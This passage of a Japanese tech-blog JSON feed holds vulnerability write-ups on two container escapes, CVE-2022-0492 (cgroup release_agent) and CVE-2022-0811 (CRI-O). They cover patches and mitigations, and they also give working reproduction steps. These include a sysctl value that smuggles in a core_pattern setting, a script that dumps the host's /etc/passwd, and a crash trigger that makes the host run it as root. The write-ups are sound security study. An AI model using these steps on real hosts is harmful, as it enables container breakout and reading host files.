/cmd最後に用意したプログラムを起動するため、cgroup 内のプロセスを空にします。root@ab988587a245:/# mkdir /mnt/xx ← child cgroup を作成root@ab988587a245:/# ls /mnt/xx/cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasksroot@ab988587a245:/# echo 1 > /mnt/xx/notify_on_releaseroot@ab988587a245:/# sh -c \\"echo \\\\$\\\\$\\" > /mnt/xx/cgroup.procs ← すぐに終了するプロセスを child cgroup に追加root@ab988587a245:/# cat /output ← コンテナ内にホストの /etc/passwd が出力されているroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologin...修正パッチhttps://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02afhttps://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7 static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off) { struct cgroup *cgrp;+ struct cgroup_file_ctx *ctx; BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);+ /*+ * Release agent gets called with all capabilities,+ * require capabilities to set release agent.+ */+ ctx = of->priv;+ if ((ctx->ns->user_ns != &init_user_ns) ||+ !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN))+ return -EPERM; cgrp = cgroup_kn_lock_live(of->kn, false);修正後は上記検証手順での release_agent への書き込みはできません。これは書き込みプロセスが CAP_SYS_ADMIN は持ちますが、init user ns でないためだと理解しています。init user ns かつ CAP_SYS_ADMIN を同時に満たすのは、非特権コンテナにおいては不可能となりました。（厳密にはプロセスの capability と、対象 cgroup の所有 user ns のチェックを行なっています）# uname -r5.17.0-051700rc7-generic# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@a45e44c77da9:/# unshare -rmC bashroot@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mntroot@a45e44c77da9:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@a45e44c77da9:/# echo test > /mnt/release_agent bash: echo: write error: Operation not permittedただし特権コンテナでは引き続きコンテナブレイクアウトは可能です。SELinux を設定する等の対策は必要です。コンテナセキュリティコンテナセキュリティと本脆弱性の関係について簡単に見ていきます。seccompseccomp はコンテナ内で実行できるシステムコールを制限します。システムコールをブロックするため、ns を作成する段階でエラーとなります。# docker run --rm -it --security-opt apparmor=unconfined ubuntu bashroot@fb3522b81478:/# cat /proc/self/status | grep SeccompSeccomp: 2Seccomp_filters: 1root@fb3522b81478:/# unshare -rmC bashunshare: unshare failed: Operation not permittedAppArmor (SELinux)ファイル操作、プログラム実行、capabilities 等を制限します。# docker run --rm -it --security-opt seccomp=unconfined ubuntu bashroot@46912ffebb2c:/# cat /proc/self/attr/current docker-default (enforce)root@46912ffebb2c:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission deniedKubernetes の場合Kubernetes においては、seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響が出る可能性があります。AppArmor/SELinux は Kubernetes ノードやコンテナランタイムで有効にする必要があります。さらに seccomp は Pod のマニフェストにも設定しなければなりません。また securityContext に適切な設定をすることも重要です。allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等でコンテナの機能を制限すれば、今後生まれる脆弱性の予防にもなると考えます。EKS, GKE の場合EKS のノードに使われる Amazon Linux 2 では、rdma のようなコンテナ内に root cgroup がマウントされたサブシステムはないようです。このため cgroup を新規にマウントしても release_agent は見えず、本脆弱性を悪用することはできません。# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@287fcd93a54f:/# cat /proc/self/cgroup 11:pids:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b010:devices:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b09:hugetlb:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b08:perf_event:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b07:net_cls,net_prio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b06:blkio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b05:memory:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b04:cpu,cpuacct:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b03:freezer:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b02:cpuset:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b01:name=systemd:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0GKE のノードに使われる COS では、デフォルトで AppArmor が有効になっているようです。(https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor)$ k run ubuntu --image ubuntu -- sleep 3600pod/ubuntu created$ k exec -it ubuntu -- bashroot@ubuntu:/# cat /proc/self/attr/current cri-containerd.apparmor.d (enforce)root@ubuntu:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission denied以上のことから EKS, GKE では本脆弱性の影響はなさそうです。さいごに本脆弱性の調査を通じて、コンテナを構成する Linux の要素技術やコンテナセキュリティへの理解が深まりました。Linux の技術について包括的に学ぶのは（個人的には）難しいので、このような脆弱性の調査から学ぶアプローチも良いのではと思います。本記事が皆さんの学習の糧になれば幸いです。参考リンクCVE-2022-0492https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492https://nvd.nist.gov/vuln/detail/CVE-2022-0492Linuxhttps://lwn.net/Articles/679786/https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/https://linuxhint.com/install-linux-kernel-ubuntu/https://man7.org/linux/man-pages/man7/cgroups.7.htmlhttps://blog.tiqwab.com/2021/11/13/docker-and-cgroups.htmlhttps://en.wikipedia.org/wiki/Seccomphttps://en.wikipedia.org/wiki/Security-Enhanced_Linuxhttps://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.htmlコンテナセキュリティhttps://container-security.dev/security/breakout-to-host.htmlhttps://speakerdeck.com/mochizuki875/container-dev-securityhttps://speakerdeck.com/mochizuki875/container-seccomp","link":"https://kyohmizu.hatenablog.com/entry/2022/04/06/233150","isoDate":"2022-04-06T14:31:50.000Z","dateMiliSeconds":1649255510000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"[2022/04/01] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年04月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/qNk58ApYjdg 告知とかニュースっぽいもの Kubernetes Meetup Tokyoで登壇しましたhttps:/...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220401","isoDate":"2022-04-01T12:45:40.000Z","dateMiliSeconds":1648817140000,"authorName":"bells17","authorId":"bells17"},{"title":"CVE-2022-0811 調査まとめ","contentSnippet":"CRI-O の脆弱性 (CVE-2022-0811) について調べた内容をまとめました。脆弱性の詳細と、関連する CRI-O の実装や Linux の機能を紹介します。CVE-2022-0811 概要CRI-O についてCRI-O 概要pinns による pod へのカーネルパラメータ設定Coredumpエクスプロイト要点検証回避策修正パッチcommit1commit2containerd の場合さいごに参考リンクCVE-2022-0811 概要CVE-2022-0811 は CRI-O の任意コード実行・コンテナブレイクアウトの脆弱性で、報告した CrowdStrike 社は「cr8escape」と呼んでいます。CRI-O の v1.19 以降に影響があり、すでに修正バージョンがリリースされています。 (詳細は Security Advisory を参照)カーネルパラメータ設定の検証不備により、/proc/sys/kernel/core_pattern への書き込みが可能となっていました。これによりプロセスを異常終了させることでホストの root 権限で任意の操作を行えます。CRI-O についてCRI-O 概要https://github.com/cri-o/cri-oCRI-O は Kubernetes に最適化された軽量な高レベルコンテナランタイムです。CLI ツールは crictl (https://github.com/kubernetes-sigs/cri-tools) を使用します。# cat container-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu\\" }, \\"image\\":{ \\"image\\": \\"ubuntu\\" }, \\"command\\": [ \\"sleep\\", \\"3600\\" ], \\"log_path\\":\\"ubuntu.0.log\\", \\"linux\\": { }}# cat pod-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"hdishd83fjaiarawuwk28bcsb\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { }}# crictl runp pod-config.json ← pod の起動b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc# crictl create b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc container-config.json pod-config.json ← コンテナ作成2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl start 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7 ← コンテナ起動2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl podsPOD ID CREATED STATE NAME NAMESPACE ATTEMPT RUNTIMEb69761649f8f6 42 seconds ago Ready ubuntu-sandbox default 1 (default)# crictl psCONTAINER IMAGE CREATED STATE NAME ATTEMPT POD ID2ce8010c047df ubuntu 19 seconds ago Running ubuntu 0 b69761649f8f6pinns による pod へのカーネルパラメータ設定CRI-O は pinns utility を使用することで、pod 起動時にカーネルパラメータ (sysctls) を設定できます。first commit)設定には -s オプションを使用し、key=value の形式で複数のカーネルパラメータを連結して渡すことができます。pinns -s kernel_parameter1=value1+kernel_parameter2=value2設定可能な sysctls は以下の実装で制限されています。https://github.com/cri-o/cri-o/blob/main/pkg/config/sysctl.govar prefixNamespaces = map[string]Namespace{ \\"kernel.shm\\": IpcNamespace, \\"kernel.msg\\": IpcNamespace, \\"fs.mqueue.\\": IpcNamespace, \\"net.\\": NetNamespace,}// Validate checks that a sysctl is whitelisted because it is known to be// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used// to forbid sysctls for pod sharing the respective namespaces with the host.// This check is only used on sysctls defined by the user in the crio.conf// file.func (s *Sysctl) Validate(hostNet, hostIPC bool) error { nsErrorFmt := \\"%q not allowed with host %s enabled\\" if ns, found := namespaces[s.Key()]; found { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } for p, ns := range prefixNamespaces { if strings.HasPrefix(s.Key(), p) { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } if ns == NetNamespace && hostNet { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } } return errors.Errorf(\\"%s not whitelisted\\", s.Key())}sysctls の適用は pinns 内に実装されており、-s オプションの設定値をもとに /proc/sys/ 以下のファイルに書き込みを行なっています。https://github.com/cri-o/cri-o/blob/main/pinns/src/sysctl.cstatic int write_sysctl_to_file (char * sysctl_key, char* sysctl_value){ if (!sysctl_key || !sysctl_value) { pwarn (\\"sysctl key or value not initialized\\"); return -1; } // replace periods with / to create the sysctl path for (char* it = sysctl_key; *it; it++) if (*it == \'.\') *it = \'/\'; _cleanup_close_ int dirfd = open (\\"/proc/sys\\", O_DIRECTORY | O_PATH | O_CLOEXEC); if (UNLIKELY (dirfd < 0)) { pwarn (\\"failed to open /proc/sys\\"); return -1; } _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY); if (UNLIKELY (fd < 0)) { pwarnf (\\"failed to open /proc/sys/%s\\", sysctl_key); return -1; } int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value))); if (UNLIKELY (ret < 0)) { pwarnf (\\"failed to write to /proc/sys/%s\\", sysctl_key); return -1; } return 0;}Coredumpプロセスが異常終了した時に、プロセスメモリの dump を core ファイルとして出力します。Coredump の設定は /proc/sys/kernel/core_pattern に書かれており、ファイルの直接編集や sysctl コマンドで設定を変更できます。# sysctl -w kernel.core_pattern=\\"%e-%s.core\\"kernel.core_pattern には dump の出力先パスを指定しますが、最初文字がパイプ | の場合は指定パスのプログラムを実行します (この場合 dump は標準入力として渡される)。/proc/sys/kernel/core_pattern のデフォルト値として、ubuntu (20.04) では apport というバグレポートツールが指定されています。$ cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %Eまた Coredump のファイルサイズ上限は ulimit で設定します。脆弱性は Soft Limit が0でも刺さりそうです。# cat /proc/self/limits Limit Soft Limit Hard Limit Units Max cpu time unlimited unlimited seconds Max file size unlimited unlimited bytes Max data size unlimited unlimited bytes Max stack size 8388608 unlimited bytes Max core file size 0 unlimited bytes Max resident set unlimited unlimited bytes Max processes 3819 3819 processes Max open files 1024 1048576 files Max locked memory 67108864 67108864 bytes Max address space unlimited unlimited bytes Max file locks unlimited unlimited locks Max pending signals 3819 3819 signals Max msgqueue size 819200 819200 bytes Max nice priority 0 0 Max realtime priority 0 0 Max realtime timeout unlimited unlimited usエクスプロイト要点kernel.core_pattern は Namespaced ではないため、ホストとコンテナで同じファイルを参照するコンテナ内からは変更不可pod 起動時に sysctl に kernel.core_pattern を設定できれば、ホストの値も変更できるCIO-O 内で sysctl のキーを検証しているが、value に + を含む文字列を渡すことでバイパス可能 (以下コードを参照)設定後にプロセスを異常終了させることで、ホストの root 権限で任意コード実行問題となったコードfunc getSysctlForPinns(sysctls map[string]string) string { // this assumes there\'s no sysctl with a `+` in it const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls { fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) // ← \\"\'key1=value1\'+\'key2=value2\'\\" の形で文字列連結する } return strings.TrimSuffix(g.String(), pinnsSysctlDelim)}検証脆弱なバージョンの CRI-O で CVE-2022-0811 を検証します。Kubernetes は使用せず、crictl での検証を行いました。# crio --versioncrio version 1.23.1Version: 1.23.1GitCommit: af642cdafed31e4be5dd82e996bb084050c8bb89GitTreeState: dirtyBuildDate: 1980-01-01T00:00:00ZGoVersion: go1.17.4Compiler: gcPlatform: linux/amd64Linkmode: staticBuildTags: apparmor, exclude_graphdriver_devicemapper, seccomp, selinuxSeccompEnabled: trueAppArmorEnabled: true最初にホストに実行させたいプログラムを配置するコンテナを作成します。json、pod-config.json は前述のファイルと同じものです。# crictl runp pod-config.json d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a# crictl create d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a container-config.json pod-config.json 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123# crictl start 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac61239029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123起動したコンテナにアタッチし、コンテナの root パスにプログラムを配置します。/etc/passwd をコンテナ内の /output に出力するスクリプトを用意しました。# crictl exec -it 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 bashroot@d33614f0b22d:/# mount | grep overlayoverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/73PSGHB33J2RBZXIUVK7SRC4UA,upperdir=/var/lib/containers/storageoverlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff,workdir=/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/work,metacopy=on,volatile)root@d33614f0b22d:/# echo \'#!/bin/sh\' > /cmdroot@d33614f0b22d:/# echo \'cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output\' >> cmdroot@d33614f0b22d:/# cat /cmd#!/bin/shcat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/outputroot@d33614f0b22d:/# chmod a+x /cmd続いて kernel.core_pattern を変更する pod を作成します。+ で連結した value を記載します。value に記載する kernel.core_pattern には、ホストから見たプログラムの絶対パスを指定しています。# をつけていますが、これは CRI-O の実装で付与されるシングルクォートを無効化する役割があります。# cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %E# cat pod-config2.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox2\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"edishd83djaidwnduwk28bcsd\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { \\"sysctls\\": { \\"kernel.shm_rmid_forced\\": \\"1+kernel.core_pattern=|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\\" } }}# crictl runp pod-config2.json FATA[0001] run pod sandbox: rpc error: code = Unknown desc = container create failed: write to /proc/sys/kernel/shm_rmid_forced: Invalid argument pod 作成はエラーになりますが、kernel.core_pattern を見ると変更されていることがわかります。# cat /proc/sys/kernel/core_pattern |/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\'最後に起動中のコンテナ内でプロセスを異常終了させることで、 Coredump の機能を呼び出しホストの root 権限でプログラムを実行させることができます。root@d33614f0b22d:/# tail -f /dev/null &[1] 17root@d33614f0b22d:/# ps PID TTY TIME CMD 4 pts/0 00:00:00 bash 17 pts/0 00:00:00 tail 18 pts/0 00:00:00 psroot@d33614f0b22d:/# kill -SIGSEGV 17root@d33614f0b22d:/# ls /bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var[1]+ Segmentation fault (core dumped) tail -f /dev/nullroot@d33614f0b22d:/# cat /output root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin...回避策CrowdStrike 社のブログ を参考にしています。CRI-O のアップデート (非推奨だが v1.18 以下へのダウングレードも可)OPA 等のポリシーを設定するPSP で sysctls を全てブロックするpinns の -s を除去するラッパーを用意し、crio.conf の pinns_path に設定する修正パッチcommit1https://github.com/cri-o/cri-o/commit/05c443b06356c2dbf9d30060f362279c6b8ac1a1pinns の -s オプションを生成する箇所で、+ に対してバリデーションを追加しています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... if len(cfg.Sysctls) != 0 {- pinnsArgs = append(pinnsArgs, \\"-s\\", getSysctlForPinns(cfg.Sysctls))+ pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)+ if err != nil {+ return nil, errors.Wrapf(err, \\"invalid sysctl\\")+ }+ pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls) } ... }- func getSysctlForPinns(sysctls map[string]string) string {- // this assumes there\'s no sysctl with a `+` in it+ func getSysctlForPinns(sysctls map[string]string) (string, error) {+ // This assumes there\'s no valid sysctl value with a `+` in it+ // and as such errors if one is found. const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls {+ if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {+ return \\"\\", errors.Errorf(\\"\'%s=%s\' is invalid: %s found yet should not be present\\", key, value, pinnsSysctlDelim)+ } fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) }- return strings.TrimSuffix(g.String(), pinnsSysctlDelim)+ return strings.TrimSuffix(g.String(), pinnsSysctlDelim), nil }commit2https://github.com/cri-o/cri-o/commit/1af1f8af2c7e23525102dffbf0899b69e34ed3d2文字列の連結をやめ、-s をパラメータ毎に設定する修正がされています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... - if len(cfg.Sysctls) != 0 {- pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)- if err != nil {- return nil, errors.Wrapf(err, \\"invalid sysctl\\")- }- pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls)+ for key, value := range cfg.Sysctls {+ pinnsArgs = append(pinnsArgs, \\"-s\\", fmt.Sprintf(\\"%s=%s\\", key, value)) } ... }containerd の場合他のコンテナランタイムがどうなっているか気になったので、containerd の実装を調べてみました。https://github.com/opencontainers/runc/blob/main/libcontainer/configs/validate/validator.go// sysctl validates that the specified sysctl keys are valid or not.// /proc/sys isn\'t completely namespaced and depending on which namespaces// are specified, a subset of sysctls are permitted.func (v *ConfigValidator) sysctl(config *configs.Config) error { validSysctlMap := map[string]bool{ \\"kernel.msgmax\\": true, \\"kernel.msgmnb\\": true, \\"kernel.msgmni\\": true, \\"kernel.sem\\": true, \\"kernel.shmall\\": true, \\"kernel.shmmax\\": true, \\"kernel.shmmni\\": true, \\"kernel.shm_rmid_forced\\": true, } for s := range config.Sysctl { if validSysctlMap[s] || strings.HasPrefix(s, \\"fs.mqueue.\\") { if config.Namespaces.Contains(configs.NEWIPC) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts ipc namespace\\", s) } } if strings.HasPrefix(s, \\"net.\\") { if config.Namespaces.Contains(configs.NEWNET) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts network namespace\\", s) } } return fmt.Errorf(\\"sysctl %q is not in a separate kernel namespace\\", s) } return nil}CRI-O は pinns により独自の sysctls 設定を実装していますが、pod 作成時に設定する都合上、 OCI の機能を使わない方法を選んだのかもしれません (根拠はないです)。さいごに初めて CRI-O を触りましたが、Docker や containerd とはかなり仕組みが異なることがわかりました。脆弱性の調査を通して CRI-O の実装や Linux の機能に触れることができ、良い機会を得られたと思います。内容に誤りが含まれる可能性がありますので、何かお気づきの方はご指摘等よろしくお願いします。参考リンクhttps://nvd.nist.gov/vuln/detail/CVE-2022-0811https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerabilityhttps://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7https://pwning.systems/posts/escaping-containers-for-fun/https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mountshttps://valinux.hatenablog.com/entry/20210721https://qiita.com/rarul/items/d33b664c8414f065e65ehttps://man7.org/linux/man-pages/man5/core.5.htmlhttps://lwn.net/Articles/280959/https://wiki.ubuntu.com/Apport","link":"https://kyohmizu.hatenablog.com/entry/2022/03/28/182243","isoDate":"2022-03-28T09:22:43.000Z","dateMiliSeconds":1648459363000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"nnn(Terminal file manager)を使ってみる","contentSnippet":"nnnとはhttps://github.com/jarun/nnnターミナル上で動作するファイルマネージャー 良い点軽量で高速な動作を保つために機能をプラグインとして外出しして拡張できる設計になってますプラグインはシェルスクリプトなどで簡単に記述できますキーバインドはviライクですtmuxを利用してる状態の画像表示も問題ないですターミナルはkittyを利用しています インストールUbuntu$ sudo apt install nnnArch Linux$ sudo pacman -S nnnMacOS$ bre...","link":"https://zenn.dev/tayusa/articles/1f87e798ccbed0","isoDate":"2022-03-27T13:27:45.000Z","dateMiliSeconds":1648387665000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"[2022/03/25] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/NewvQB5q-QU 告知とかニュースっぽいもの Cloud Native Database Meetup #4https:...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220325","isoDate":"2022-03-25T12:55:35.000Z","dateMiliSeconds":1648212935000,"authorName":"bells17","authorId":"bells17"},{"title":"Intigritiリーダーボードとは何か、それが企業のバグバウンティプログラムにどのような影響を与えるか","contentSnippet":"今回の記事では、Intigritiのリーダーボードがどのようなものか、より詳しく説明していきます。また、バグバウンティプログラムやバグハンターコミュニティにどのような利益をもたらすかについても紹介していきます。The post Intigritiリーダーボードとは何か、それが企業のバグバウンティプログラムにどのような影響を与えるか first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/intigriti-leaderboard-what-is-it-and-how-does-it-impact-your-program/","isoDate":"2022-03-22T01:55:00.000Z","dateMiliSeconds":1647914100000,"authorName":"Sreake","authorId":"Sreake"},{"title":"golangで作るTCPIPプロトコル","contentSnippet":"はじめにとりあえずIT業界に入ったら読んでおけという名著はいろいろありますが、その中の1冊がマスタリングTCP/IP入門編でしょう。僕も買ってはいたものの読むのを途中で挫折していたので、今回しっかり読んでTCP/IPを再勉強してみたいと思います。マスタリングTCP/IPを読みながらその他わからんことはググりつつ、golangでTCPIPプロトコルそのものを自作してみます。方針は以下のようにします。ethernetから作るデータのやり取りにnetパッケージは一切使わない(訂正、PCのIPやMacアドレスを取るのにだけ使用しますた)データのやり取りに使うのはsyscal...","link":"https://zenn.dev/satoken/articles/golang-tcpip","isoDate":"2022-03-21T16:39:19.000Z","dateMiliSeconds":1647880759000,"authorName":"satoken","authorId":"satoken"},{"title":"Securify申し込みから利用までを徹底解説 [使ってみた]","contentSnippet":"当社が2021年12月より提供開始した、自動脆弱性診断ツール「Securify (セキュリファイ)」ですが、おかげさまで多くの企業様よりお問い合わせ、ならびご利用頂いております。現在ベータ版での提供であり、全機能を無料で […]The post Securify申し込みから利用までを徹底解説 [使ってみた] first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/securify_trial/","isoDate":"2022-03-18T15:08:46.000Z","dateMiliSeconds":1647616126000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[2022/03/18] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月18日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/y7DMp3aqCFM 告知とかニュースっぽいもの 3-shake SRE Tech Talk #3https://youtu...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220318","isoDate":"2022-03-18T12:50:45.000Z","dateMiliSeconds":1647607845000,"authorName":"bells17","authorId":"bells17"},{"title":"Observability Conference 2022 に登壇しました","contentSnippet":"「Dapr の概念と実装から学ぶ Observability への招待」 というタイトルで登壇します。https://event.cloudnativedays.jp/o11y2022/talks/1382:embed:cite セッション概要Dapr は CloudNative な技術を背景に持つ分散アプリケーションランタイムです。本セッションでは Dapr の Observability に関する各種機能と、その実装について解説していきます。さらにスリーシェイクの Dapr と Observability への取り組みに関してもご紹介します。Dapr の機能でカバーできる点...","link":"https://zenn.dev/nwiizo/articles/d837b78914de23","isoDate":"2022-03-11T04:02:18.000Z","dateMiliSeconds":1646971338000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Archives","contentSnippet":"","link":"https://blog.jigyakkuma.org/archives/","isoDate":"2022-03-06T00:00:00.000Z","dateMiliSeconds":1646524800000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"[2022/03/04] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月04日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/3s0T6k24I_o 告知とかニュースっぽいもの Twitterコミュニティ機能についてhttps://twitter.co...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220304","isoDate":"2022-03-04T12:34:50.000Z","dateMiliSeconds":1646397290000,"authorName":"bells17","authorId":"bells17"},{"title":"JAWS-UG SRE支部 #2 突撃！となりのSRE","contentSnippet":"jawsug-sre.connpass.com聞いてきましたのでメモと感想を残しておきます。LTマネーフォーワードのマイクロサービス基盤のこれまでとこれから by マネーフォワード 